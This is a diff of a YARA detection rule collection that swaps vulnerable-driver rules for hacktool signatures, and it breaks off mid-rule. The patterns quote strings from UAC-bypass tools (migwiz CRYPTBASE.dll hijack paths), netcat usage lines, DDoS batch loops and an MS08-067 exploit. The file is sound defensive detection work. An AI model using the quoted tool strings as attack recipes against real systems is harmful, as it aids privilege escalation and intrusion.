-		license_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/LICENSE"
-		hash = "6e0aa67cfdbe27a059cbd066443337f81c5b6d37444d14792d1c765d9d122dcf"
-		logic_hash = "79370b21c6049790a259feebf590222ef8c57bb1564401d68a960ae2c547639a"
-		score = 40
+		reference = "http://ikat.ha.cked.net/Windows/functions/ikatfiles.html"
+		source_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/yara/thor-hacktools.yar#L927-L953"
+		license_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/LICENSE"
+		logic_hash = "5c5aa2d7d82d4b65541c5b6bcae6260fdaed0030493ed689363722cd78fd0a26"
+		score = 55
 		quality = 85
-		tags = "FILE"
+		tags = ""
+		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
+		super_rule = 1
+		hash0 = "814c126f21bc5e993499f0c4e15b280bf7c1c77f"
+		hash1 = "75f5aed1e719443a710b70f2004f34b2fe30f2a9"
+		hash2 = "b65a460d015fd94830d55e8eeaf6222321e12349"
 
 	strings:
-		$ = { 00460069006c0065004400650073006300720069007000740069006f006e[1-8]00410056004700200061006e0074006900200072006f006f0074006b00690074 }
-		$ = { 0043006f006d00700061006e0079004e0061006d0065[1-8]00410056004700200054006500630068006e006f006c006f006700690065007300200043005a002c00200073002e0072002e006f002e }
-		$ = { 00460069006c006500560065007200730069006f006e[1-8]00310039002e0036002e0034003200330035002e0030 }
-		$ = { 00500072006f006400750063007400560065007200730069006f006e[1-8]00310039002e0036002e0034003200330035002e0030 }
-		$ = { 0049006e007400650072006e0061006c004e0061006d0065[1-8]006100730077004100720050006f0074002e007300790073 }
-		$ = { 00500072006f0064007500630074004e0061006d0065[1-8]00410056004700200049006e007400650072006e00650074002000530065006300750072006900740079002000530079007300740065006d0020 }
-		$ = { 004f0072006900670069006e0061006c00460069006c0065006e0061006d0065[1-8]006100730077004100720050006f0074002e007300790073 }
-		$ = { 004c006500670061006c0043006f0070007900720069006700680074[1-8]0043006f0070007900720069006700680074002000280043002900200032003000310039002000410056004700200054006500630068006e006f006c006f006700690065007300200043005a002c00200073002e0072002e006f002e }
+		$s0 = "<IconFile>C:\\WINDOWS\\App.ico</IconFile>" fullword
+		$s1 = "Failed to read the entire file" fullword
+		$s4 = "<VersionCreatedBy>14.4.0</VersionCreatedBy>" fullword
+		$s8 = "<ProgressCaption>Run &quot;executor.bat&quot; once the shell has spawned.</P"
+		$s9 = "Running Zip pipeline..." fullword
+		$s10 = "<FinTitle />" fullword
+		$s12 = "<AutoTemp>0</AutoTemp>" fullword
+		$s14 = "<DefaultDir>%TEMP%</DefaultDir>" fullword
+		$s15 = "AES Encrypting..." fullword
+		$s20 = "<UnzipDir>%TEMP%</UnzipDir>" fullword
 
 	condition:
-		uint16(0)==0x5a4d and filesize <300KB and all of them
+		all of them
 }
-rule SIGNATURE_BASE_PUA_VULN_Driver_Avgtechnologiesczsro_Aswarpotsys_Avginternetsecuritysystem_A2F4 : FILE
+import "pe"
+
+rule SIGNATURE_BASE_Bypassuac2
 {
 	meta:
-		description = "Detects vulnerable driver mentioned in LOLDrivers project using VersionInfo values from the PE header - aswArPot.sys, avgArPot.sys"
-		author = "Florian Roth"
-		id = "c7b13c18-84a2-5362-bd10-a80c001c6efc"
-		date = "2023-06-14"
+		description = "Auto-generated rule - file BypassUac2.zip"
+		author = "yarGen Yara Rule Generator"
+		id = "8b7e49de-9b0a-5dc4-86af-1a854dc649cc"
+		date = "2023-12-05"
 		modified = "2023-12-05"
-		reference = "https://github.com/magicsword-io/LOLDrivers"
-		source_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/yara/yara-rules_vuln_drivers_strict.yar#L5988-L6008"
-		license_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/LICENSE"
-		hash = "a2f45d95d54f4e110b577e621fefa0483fa0e3dcca14c500c298fb9209e491c1"
-		logic_hash = "7fc1a629395b0558eecf2744dcb121a5b2cdbd51f4291a679f9526f21c4f21c0"
-		score = 40
+		reference = "https://github.com/Neo23x0/signature-base"
+		source_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/yara/thor-hacktools.yar#L955-L967"
+		license_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/LICENSE"
+		hash = "ef3e7dd2d1384ecec1a37254303959a43695df61"
+		logic_hash = "398783fa0453a60fd1c6aa64eacfbfa7c5385e81c79d1b6a8a8386dae9b825cc"
+		score = 75
 		quality = 85
-		tags = "FILE"
+		tags = ""
 
 	strings:
-		$ = { 00460069006c0065004400650073006300720069007000740069006f006e[1-8]00410056004700200061006e0074006900200072006f006f0074006b00690074 }
-		$ = { 0043006f006d00700061006e0079004e0061006d0065[1-8]00410056004700200054006500630068006e006f006c006f006700690065007300200043005a002c00200073002e0072002e006f002e }
-		$ = { 00460069006c006500560065007200730069006f006e[1-8]00310039002e0032002e0034003100380031002e0030 }
-		$ = { 00500072006f006400750063007400560065007200730069006f006e[1-8]00310039002e0032002e0034003100380031002e0030 }
-		$ = { 0049006e007400650072006e0061006c004e0061006d0065[1-8]006100730077004100720050006f0074002e007300790073 }
-		$ = { 00500072006f0064007500630074004e0061006d0065[1-8]00410056004700200049006e007400650072006e00650074002000530065006300750072006900740079002000530079007300740065006d0020 }
-		$ = { 004f0072006900670069006e0061006c00460069006c0065006e0061006d0065[1-8]006100730077004100720050006f0074002e007300790073 }
-		$ = { 004c006500670061006c0043006f0070007900720069006700680074[1-8]0043006f0070007900720069006700680074002000280043002900200032003000310039002000410056004700200054006500630068006e006f006c006f006700690065007300200043005a002c00200073002e0072002e006f002e }
+		$s0 = "/BypassUac/BypassUac/BypassUac_Utils.cpp" fullword ascii
+		$s1 = "/BypassUac/BypassUacDll/BypassUacDll.aps" fullword ascii
+		$s3 = "/BypassUac/BypassUac/BypassUac.ico" fullword ascii
 
 	condition:
-		uint16(0)==0x5a4d and filesize <200KB and all of them
+		all of them
 }
-rule SIGNATURE_BASE_PUA_VULN_Driver_Nvidiacorporation_Nvflash_Nvidiaflashdriver_AFDD : FILE
+import "pe"
+
+rule SIGNATURE_BASE_Bypassuac_3
 {
 	meta:
-		description = "Detects vulnerable driver mentioned in LOLDrivers project using VersionInfo values from the PE header - nvflash.sys"
-		author = "Florian Roth"
-		id = "f8e2c69d-d3fb-58f8-bc03-3ad5ce67f0bf"
-		date = "2023-06-14"
+		description = "Auto-generated rule - file BypassUacDll.dll"
+		author = "yarGen Yara Rule Generator"
+		id = "407a8e12-1160-584d-94c8-7aa78e29c754"
+		date = "2023-12-05"
 		modified = "2023-12-05"
-		reference = "https://github.com/magicsword-io/LOLDrivers"
-		source_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/yara/yara-rules_vuln_drivers_strict.yar#L6011-L6031"
-		license_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/LICENSE"
-		hash = "afdd66562dea51001c3a9de300f91fc3eb965d6848dfce92ccb9b75853e02508"
-		logic_hash = "f23537a1efc5e13efb9e145d6c04bb21c3dc7cd49d1913755528f08b94c316ac"
-		score = 40
-		quality = 85
-		tags = "FILE"
+		reference = "https://github.com/Neo23x0/signature-base"
+		source_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/yara/thor-hacktools.yar#L969-L982"
+		license_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/LICENSE"
+		hash = "1974aacd0ed987119999735cad8413031115ce35"
+		logic_hash = "cf3183ff4562f2962f87bc594c1710c73c113fa1d49fa56f7a3ff391ba4b9003"
+		score = 75
+		quality = 60
+		tags = ""
 
 	strings:
-		$ = { 00460069006c0065004400650073006300720069007000740069006f006e[1-8]004e0056004900440049004100200046006c0061007300680020004400720069007600650072002c002000560065007200730069006f006e00200031002e0038002e0030 }
-		$ = { 0043006f006d00700061006e0079004e0061006d0065[1-8]004e0056004900440049004100200043006f00720070006f0072006100740069006f006e }
-		$ = { 00460069006c006500560065007200730069006f006e[1-8]0031002e0038002e0030 }
-		$ = { 00500072006f006400750063007400560065007200730069006f006e[1-8]0031002e0038002e0030 }
-		$ = { 0049006e007400650072006e0061006c004e0061006d0065[1-8]006e00760066006c006100730068 }
-		$ = { 00500072006f0064007500630074004e0061006d0065[1-8]004e0056004900440049004100200046006c0061007300680020004400720069007600650072 }
-		$ = { 004f0072006900670069006e0061006c00460069006c0065006e0061006d0065[1-8]006e00760066006c006100730068002e007300790073 }
-		$ = { 004c006500670061006c0043006f0070007900720069006700680074[1-8]002800430029002000320030003100370020004e0056004900440049004100200043006f00720070006f0072006100740069006f006e002e00200041006c006c0020007200690067006800740073002000720065007300650072007600650064002e }
+		$s0 = "BypassUacDLL.dll" fullword wide
+		$s1 = "\\Release\\BypassUacDll" ascii
+		$s3 = "Win7ElevateDLL" fullword wide
+		$s7 = "BypassUacDLL" fullword wide
 
 	condition:
-		uint16(0)==0x5a4d and filesize <100KB and all of them
+		3 of them
 }
-rule SIGNATURE_BASE_PUA_VULN_Driver_Elaboratebytesag_Elbycdio_Cdrtools_F85E : FILE
+import "pe"
+
+rule SIGNATURE_BASE_Bypassuacdll_6
 {
 	meta:
-		description = "Detects vulnerable driver mentioned in LOLDrivers project using VersionInfo values from the PE header - ElbyCDIO.sys"
-		author = "Florian Roth"
-		id = "43ea92d7-a820-5ccc-b37f-05b96ead1246"
-		date = "2023-06-14"
+		description = "Auto-generated rule - file BypassUacDll.aps"
+		author = "yarGen Yara Rule Generator"
+		id = "5be27053-446f-5ea3-a242-2661aeffa3df"
+		date = "2023-12-05"
 		modified = "2023-12-05"
-		reference = "https://github.com/magicsword-io/LOLDrivers"
-		source_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/yara/yara-rules_vuln_drivers_strict.yar#L6034-L6054"
-		license_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/LICENSE"
-		hash = "f85eb576acb5db0d2f48e5f09a7244165a876fa1ca8697ebb773e4d7071d4439"
-		logic_hash = "71bef9b60efad8f7bc149d93b94c37e59fd42f01ee01d7964c39ef0d79b997e0"
-		score = 40
+		reference = "https://github.com/Neo23x0/signature-base"
+		source_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/yara/thor-hacktools.yar#L1000-L1011"
+		license_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/LICENSE"
+		hash = "58d7b24b6870cb7f1ec4807d2f77dd984077e531"
+		logic_hash = "3cb89875ddf79a3709aeb58149e228e03b9fb43fa1565aab5ece743857b4cc71"
+		score = 75
 		quality = 85
-		tags = "FILE"
+		tags = ""
 
 	strings:
-		$ = { 00460069006c0065004400650073006300720069007000740069006f006e[1-8]0045006c0062007900430044002000570069006e0064006f007700730020004e0054002f0032003000300030002f0058005000200049002f004f0020006400720069007600650072 }
-		$ = { 0043006f006d00700061006e0079004e0061006d0065[1-8]0045006c00610062006f0072006100740065002000420079007400650073002000410047 }
-		$ = { 00460069006c006500560065007200730069006f006e[1-8]0036002c00200030002c00200030002c00200034 }
-		$ = { 00500072006f006400750063007400560065007200730069006f006e[1-8]0036002c00200030002c00200030002c00200030 }
-		$ = { 0049006e007400650072006e0061006c004e0061006d0065[1-8]0045006c00620079004300440049004f }
-		$ = { 00500072006f0064007500630074004e0061006d0065[1-8]0043004400520054006f006f006c0073 }
-		$ = { 004f0072006900670069006e0061006c00460069006c0065006e0061006d0065[1-8]0045006c00620079004300440049004f002e007300790073 }
-		$ = { 004c006500670061006c0043006f0070007900720069006700680074[1-8]0043006f00700079007200690067006800740020002800430029002000320030003000300020002d0020003200300030003700200045006c00610062006f0072006100740065002000420079007400650073002000410047 }
+		$s3 = "BypassUacDLL.dll" fullword wide
+		$s4 = "AFX_IDP_COMMAND_FAILURE" fullword ascii
 
 	condition:
-		uint16(0)==0x5a4d and filesize <100KB and all of them
+		all of them
 }
-rule SIGNATURE_BASE_PUA_VULN_Driver_Vektortsecurityservice_Vboxdrv_Antidetectpublicbyvektortrev_26F4 : FILE
+import "pe"
+
+rule SIGNATURE_BASE_Bypassuac_EXE
 {
 	meta:
-		description = "Detects vulnerable driver mentioned in LOLDrivers project using VersionInfo values from the PE header - VBoxDrv.sys"
-		author = "Florian Roth"
-		id = "1ee8489d-ef29-5d5b-80f5-8f0a206eda3f"
-		date = "2023-06-14"
+		description = "Auto-generated rule - file BypassUacDll.aps"
+		author = "yarGen Yara Rule Generator"
+		id = "b88aded5-7dfb-5cdf-bb42-cd8b069259e0"
+		date = "2023-12-05"
 		modified = "2023-12-05"
-		reference = "https://github.com/magicsword-io/LOLDrivers"
-		source_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/yara/yara-rules_vuln_drivers_strict.yar#L6057-L6077"
-		license_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/LICENSE"
-		hash = "26f41e4268be59f5de07552b51fa52d18d88be94f8895eb4a16de0f3940cf712"
-		logic_hash = "913dc412be3eaa31903d3fac94e07174789bb746bb382a5f1c08fea50541f6c6"
-		score = 40
-		quality = 85
-		tags = "FILE"
+		reference = "https://github.com/Neo23x0/signature-base"
+		source_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/yara/thor-hacktools.yar#L1013-L1027"
+		license_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/LICENSE"
+		hash = "58d7b24b6870cb7f1ec4807d2f77dd984077e531"
+		logic_hash = "0283efd6866ed9417f2d255715f04c0ed6d7a89befce6a3a52c22ac06593c0bd"
+		score = 75
+		quality = 60
+		tags = ""
 
 	strings:
-		$ = { 00460069006c0065004400650073006300720069007000740069006f006e[1-8]005600690072007400750061006c0042006f007800200053007500700070006f007200740020004400720069007600650072 }
-		$ = { 0043006f006d00700061006e0079004e0061006d0065[1-8]00560065006b0074006f0072002000540031003300200053006500630075007200690074007900200053006500720076006900630065 }
-		$ = { 00460069006c006500560065007200730069006f006e[1-8]0031002e0032002e0030002e003100310039003200330030 }
-		$ = { 00500072006f006400750063007400560065007200730069006f006e[1-8]0031002e0032002e0030002e003100310039003200330030 }
-		$ = { 0049006e007400650072006e0061006c004e0061006d0065[1-8]00560042006f0078004400720076 }
-		$ = { 00500072006f0064007500630074004e0061006d0065[1-8]0041006e00740069006400650074006500630074002000320030003100380020005000750062006c00690063002000620079002000560065006b0074006f0072002000540031003300200028007200650076002e003000350029 }
-		$ = { 004f0072006900670069006e0061006c00460069006c0065006e0061006d0065[1-8]00560042006f0078004400720076002e007300790073 }
-		$ = { 004c006500670061006c0043006f0070007900720069006700680074[1-8]0043006f0070007900720069006700680074002000280043002900200032003000300039002d00320030003100380020004f007200610063006c006500200043006f00720070006f0072006100740069006f006e }
+		$s1 = "Wole32.dll" wide
+		$s3 = "System32\\migwiz" wide
+		$s4 = "System32\\migwiz\\CRYPTBASE.dll" wide
+		$s5 = "Elevation:Administrator!new:" wide
+		$s6 = "BypassUac" wide
 
 	condition:
-		uint16(0)==0x5a4d and filesize <400KB and all of them
+		all of them
 }
-rule SIGNATURE_BASE_PUA_VULN_Driver_Trendmicroinc_Tmcommsys_Trendmicroeyes_3C42 : FILE
+import "pe"
+
+rule SIGNATURE_BASE_APT_Proxy_Malware_Packed_Dev
 {
 	meta:
-		description = "Detects vulnerable driver mentioned in LOLDrivers project using VersionInfo values from the PE header - TmComm.sys"
-		author = "Florian Roth"
-		id = "e4c649d8-941e-57d8-9193-a7e5c3de4671"
-		date = "2023-06-14"
+		description = "APT Malware - Proxy"
+		author = "FRoth"
+		id = "0b81b6c9-86fa-59c1-b58c-80310f6c0680"
+		date = "2014-11-10"
 		modified = "2023-12-05"
-		reference = "https://github.com/magicsword-io/LOLDrivers"
-		source_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/yara/yara-rules_vuln_drivers_strict.yar#L6080-L6100"
-		license_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/LICENSE"
-		hash = "3c4207c90c97733fae2a08679d63fbbe94dfcf96fdfdf88406aa7ab3f80ea78f"
-		logic_hash = "b3e67939d8f6e6121c3d36dfe5ccb01c9cd2a2d5488053a9834c7cb147ac250e"
-		score = 40
+		reference = "https://github.com/Neo23x0/signature-base"
+		source_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/yara/thor-hacktools.yar#L1029-L1044"
+		license_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/LICENSE"
+		hash = "6b6a86ceeab64a6cb273debfa82aec58"
+		logic_hash = "64b15aaf93b40744b887c75fa26f4996d72045a55ac82ab4de89a0d9a3714684"
+		score = 50
 		quality = 85
-		tags = "FILE"
+		tags = ""
 
 	strings:
-		$ = { 00460069006c0065004400650073006300720069007000740069006f006e[1-8]005400720065006e0064004d006900630072006f00200043006f006d006d006f006e0020004d006f00640075006c0065 }
-		$ = { 0043006f006d00700061006e0079004e0061006d0065[1-8]005400720065006e00640020004d006900630072006f00200049006e0063002e }
-		$ = { 00460069006c006500560065007200730069006f006e[1-8]0036002e00370030002e0030002e0031003100320038 }
-		$ = { 00500072006f006400750063007400560065007200730069006f006e[1-8]0036002e00370030 }
-		$ = { 0049006e007400650072006e0061006c004e0061006d0065[1-8]0054006d0043006f006d006d002e007300790073 }
-		$ = { 00500072006f0064007500630074004e0061006d0065[1-8]005400720065006e00640020004d006900630072006f00200045007900650073 }
-		$ = { 004f0072006900670069006e0061006c00460069006c0065006e0061006d0065[1-8]0054006d0043006f006d006d002e007300790073 }
-		$ = { 004c006500670061006c0043006f0070007900720069006700680074[1-8]0043006f0070007900720069006700680074002000200028004300290020002000320030003200300020005400720065006e00640020004d006900630072006f00200049006e0063006f00720070006f00720061007400650064002e00200041006c006c0020007200690067006800740073002000720065007300650072007600650064002e }
+		$string0 = "PECompact2" fullword
+		$string1 = "[LordPE]"
+		$string2 = "steam_ker.dll"
 
 	condition:
-		uint16(0)==0x5a4d and filesize <400KB and all of them
+		all of them
 }
-rule SIGNATURE_BASE_PUA_VULN_Driver_Asustekcomputerinc_Atsziosys_Atsziodriver_55A1 : FILE
+import "pe"
+
+rule SIGNATURE_BASE_Tzddos_Ddos_Tool_CN
 {
 	meta:
-		description = "Detects vulnerable driver mentioned in LOLDrivers project using VersionInfo values from the PE header - ATSZIO.sys"
-		author = "Florian Roth"
-		id = "3bd64a09-bfa9-5b87-8048-60e61c1a61f7"
-		date = "2023-06-14"
+		description = "Disclosed hacktool set - file tzddos"
+		author = "Florian Roth (Nextron Systems)"
+		id = "bf2bfc7b-4db8-5d35-a312-2530a42985d5"
+		date = "2014-11-17"
 		modified = "2023-12-05"
-		reference = "https://github.com/magicsword-io/LOLDrivers"
-		source_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/yara/yara-rules_vuln_drivers_strict.yar#L6103-L6124"
-		license_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/LICENSE"
-		hash = "55a1535e173c998fbbc978009b02d36ca0c737340d84ac2a8da73dfc2f450ef9"
-		hash = "c64d4ac416363c7a1aa828929544d1c1d78cf032b39769943b851cfc4c0faafc"
-		logic_hash = "a6c5fd6c88e08f663479840ae853a0dd22427d0059f0c6aa961dcc1a395dacce"
-		score = 40
+		reference = "https://github.com/Neo23x0/signature-base"
+		source_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/yara/thor-hacktools.yar#L1046-L1065"
+		license_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/LICENSE"
+		hash = "d4c517eda5458247edae59309453e0ae7d812f8e"
+		logic_hash = "fed09a8586f9b573e46871efa71082f4573d2bd069fde9cc2928b267d0025bab"
+		score = 60
 		quality = 85
-		tags = "FILE"
+		tags = ""
+		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
 
 	strings:
-		$ = { 00460069006c0065004400650073006300720069007000740069006f006e[1-8]004100540053005a0049004f0020004400720069007600650072 }
-		$ = { 0043006f006d00700061006e0079004e0061006d0065[1-8]004100530055005300540065006b00200043006f006d0070007500740065007200200049006e0063002e }
-		$ = { 00460069006c006500560065007200730069006f006e[1-8]0030002e0032002e0031002e0036 }
-		$ = { 00500072006f006400750063007400560065007200730069006f006e[1-8]0030002e0032002e0031002e0036 }
-		$ = { 0049006e007400650072006e0061006c004e0061006d0065[1-8]004100540053005a0049004f002e007300790073 }
-		$ = { 00500072006f0064007500630074004e0061006d0065[1-8]004100540053005a0049004f0020004400720069007600650072 }
-		$ = { 004f0072006900670069006e0061006c00460069006c0065006e0061006d0065[1-8]004100540053005a0049004f002e007300790073 }
-		$ = { 004c006500670061006c0043006f0070007900720069006700680074[1-8]0043006f0070007900720069006700680074002000280043002900200032003000310032 }
+		$s0 = "for /f %%a in (host.txt) do (" ascii
+		$s1 = "for /f \"eol=S tokens=1 delims= \" %%i in (s2.txt) do echo %%i>>host.txt" fullword ascii
+		$s2 = "del host.txt /q" fullword ascii
+		$s3 = "for /f \"eol=- tokens=1 delims= \" %%i in (result.txt) do echo %%i>>s1.txt" fullword ascii
+		$s4 = "start Http.exe %%a %http%" fullword ascii
+		$s5 = "for /f \"eol=P tokens=1 delims= \" %%i in (s1.txt) do echo %%i>>s2.txt" fullword ascii
+		$s6 = "del Result.txt s2.txt s1.txt " fullword ascii
 
 	condition:
-		uint16(0)==0x5a4d and filesize <100KB and all of them
+		all of them
 }
-rule SIGNATURE_BASE_PUA_VULN_Driver_Sisoftware_Sandra_Sisoftwaresandra_1AAF : FILE
+import "pe"
+
+rule SIGNATURE_BASE_Ncat_Hacktools_CN
 {
 	meta:
-		description = "Detects vulnerable driver mentioned in LOLDrivers project using VersionInfo values from the PE header - sandra.sys"
-		author = "Florian Roth"
-		id = "9fc423bb-451b-52e8-ba81-7113cd1621c8"
-		date = "2023-06-14"
+		description = "Disclosed hacktool set - file nc.exe"
+		author = "Florian Roth (Nextron Systems)"
+		id = "bdbfaf75-f8c0-508e-b6b1-9ddea179a325"
+		date = "2014-11-17"
 		modified = "2023-12-05"
-		reference = "https://github.com/magicsword-io/LOLDrivers"
-		source_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/yara/yara-rules_vuln_drivers_strict.yar#L6127-L6147"
-		license_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/LICENSE"
-		hash = "1aaf4c1e3cb6774857e2eef27c17e68dc1ae577112e4769665f516c2e8c4e27b"
-		logic_hash = "e441204be274ce4379526096008b545e2a53b11c26c270c2df0c1f70b98d1e57"
-		score = 40
+		reference = "https://github.com/Neo23x0/signature-base"
+		source_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/yara/thor-hacktools.yar#L1067-L1085"
+		license_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/LICENSE"
+		hash = "001c0c01c96fa56216159f83f6f298755366e528"
+		logic_hash = "0e059e90447747ed5259da4a870036d37d181c1cfea734ab25e760e81612f0f3"
+		score = 60
 		quality = 85
-		tags = "FILE"
+		tags = ""
+		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
 
 	strings:
-		$ = { 00460069006c0065004400650073006300720069007000740069006f006e[1-8]00530061006e006400720061002000440065007600690063006500200044007200690076006500720020002800570069006e003600340020007800360034002900280055006e00690063006f006400650029 }
-		$ = { 0043006f006d00700061006e0079004e0061006d0065[1-8]005300690053006f006600740077006100720065 }
-		$ = { 00460069006c006500560065007200730069006f006e[1-8]00310030002e00310031002e0031002e00310020006200750069006c0074002000620079003a002000570069006e00440044004b }
-		$ = { 00500072006f006400750063007400560065007200730069006f006e[1-8]00310030002e00310031002e0031002e0031 }
-		$ = { 0049006e007400650072006e0061006c004e0061006d0065[1-8]00530041004e004400520041 }
-		$ = { 00500072006f0064007500630074004e0061006d0065[1-8]005300690053006f006600740077006100720065002000530061006e006400720061 }
-		$ = { 004f0072006900670069006e0061006c00460069006c0065006e0061006d0065[1-8]00530041004e004400520041 }
-		$ = { 004c006500670061006c0043006f0070007900720069006700680074[1-8]0043006f0070007900720069006700680074002000a90020005300690053006f0066007400770061007200650020004c0074006400200031003900390035002d0032003000300038002e00200041006c006c0020007200690067006800740073002000720065007300650072007600650064002e }
+		$s0 = "nc -l -p port [options] [hostname] [port]" fullword ascii
+		$s2 = "nc [-options] hostname port[s] [ports] ... " fullword ascii
+		$s3 = "gethostpoop fuxored" fullword ascii
+		$s6 = "VERNOTSUPPORTED" fullword ascii
+		$s7 = "%s [%s] %d (%s)" fullword ascii
+		$s12 = " `--%s' doesn't allow an argument" fullword ascii
 
 	condition:
-		uint16(0)==0x5a4d and filesize <100KB and all of them
+		all of them
 }
-rule SIGNATURE_BASE_PUA_VULN_Driver_Trendmicroinc_Tmcommsys_Aegis_C901 : FILE
+import "pe"
+
+rule SIGNATURE_BASE_MS08_067_Exploit_Hacktools_CN
 {
 	meta:
-		description = "Detects vulnerable driver mentioned in LOLDrivers project using VersionInfo values from the PE header - TmComm.sys"
-		author = "Florian Roth"
-		id = "a1c33a78-bef9-59fc-8976-876c1fe68aff"
-		date = "2023-06-14"
+		description = "Disclosed hacktool set - file cs.exe"
+		author = "Florian Roth (Nextron Systems)"
+		id = "c15836c7-e739-5cc0-9d41-d651ea3e4738"
+		date = "2014-11-17"
 		modified = "2023-12-05"
-		reference = "https://github.com/magicsword-io/LOLDrivers"
-		source_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/yara/yara-rules_vuln_drivers_strict.yar#L6150-L6170"
-		license_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/LICENSE"
-		hash = "c9014b03866bf37faa8fdb16b6af7cfec976aaef179fd5797d0c0bf8079d3a8c"
-		logic_hash = "2320a0cc02aa28c6495f553b2c7c9c0486599e510d8378dfb3f15b988ff90983"
-		score = 40
-		quality = 85
-		tags = "FILE"
+		reference = "https://github.com/Neo23x0/signature-base"
+		source_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/yara/thor-hacktools.yar#L1087-L1106"
+		license_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/LICENSE"
+		hash = "a3e9e0655447494253a1a60dbc763d9661181322"
+		logic_hash = "e5756250de401324d0c86f855bc088c8364e4a632cece25e553939fa621b73d8"
+		score = 60
+		quality = 60
+		tags = ""
+		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
 
 	strings:
-		$ = { 00460069006c0065004400650073006300720069007000740069006f006e[1-8]005400720065006e0064004d006900630072006f00200043006f006d006d006f006e0020004d006f00640075006c0065 }
-		$ = { 0043006f006d00700061006e0079004e0061006d0065[1-8]005400720065006e00640020004d006900630072006f00200049006e0063002e }
-		$ = { 00460069006c006500560065007200730069006f006e[1-8]0032002e0030002e0030002e0031003100310038 }
-		$ = { 00500072006f006400750063007400560065007200730069006f006e[1-8]0032002e0030 }
-		$ = { 0049006e007400650072006e0061006c004e0061006d0065[1-8]0054006d0043006f006d006d002e007300790073 }
-		$ = { 00500072006f0064007500630074004e0061006d0065[1-8]00410045004700490053 }
-		$ = { 004f0072006900670069006e0061006c00460069006c0065006e0061006d0065[1-8]0054006d0043006f006d006d002e007300790073 }
-		$ = { 004c006500670061006c0043006f0070007900720069006700680074[1-8]0043006f0070007900720069006700680074002000280043002900200032003000300035002d00320030003000370020005400720065006e00640020004d006900630072006f00200049006e0063006f00720070006f00720061007400650064002e00200041006c006c0020007200690067006800740073002000720065007300650072007600650064002e }
+		$s0 = "MS08-067 Exploit for CN by EMM@ph4nt0m.org" fullword ascii
+		$s3 = "Make SMB Connection error:%d" fullword ascii
+		$s5 = "Send Payload Over!" fullword ascii
+		$s7 = "Maybe Patched!" fullword ascii
+		$s8 = "RpcExceptionCode() = %u" fullword ascii
+		$s11 = "ph4nt0m" fullword wide
+		$s12 = "\\\\%s\\IPC" ascii
 
 	condition:
-		uint16(0)==0x5a4d and filesize <200KB and all of them
+		4 of them
 }
-rule SIGNATURE_BASE_PUA_VULN_Driver_Symanteccorporation_Vproeventmonitorsys_Symanteceventmonitorsdriverdevelopmentedition_7877 : FILE
+import "pe"
+
+rule SIGNATURE_BASE_Hacktools_CN_Burst_Sql
 {
 	meta:
-		description = "Detects vulnerable driver mentioned in LOLDrivers project using VersionInfo values from the PE header - VProEventMonitor.sys"
-		author = "Florian Roth"
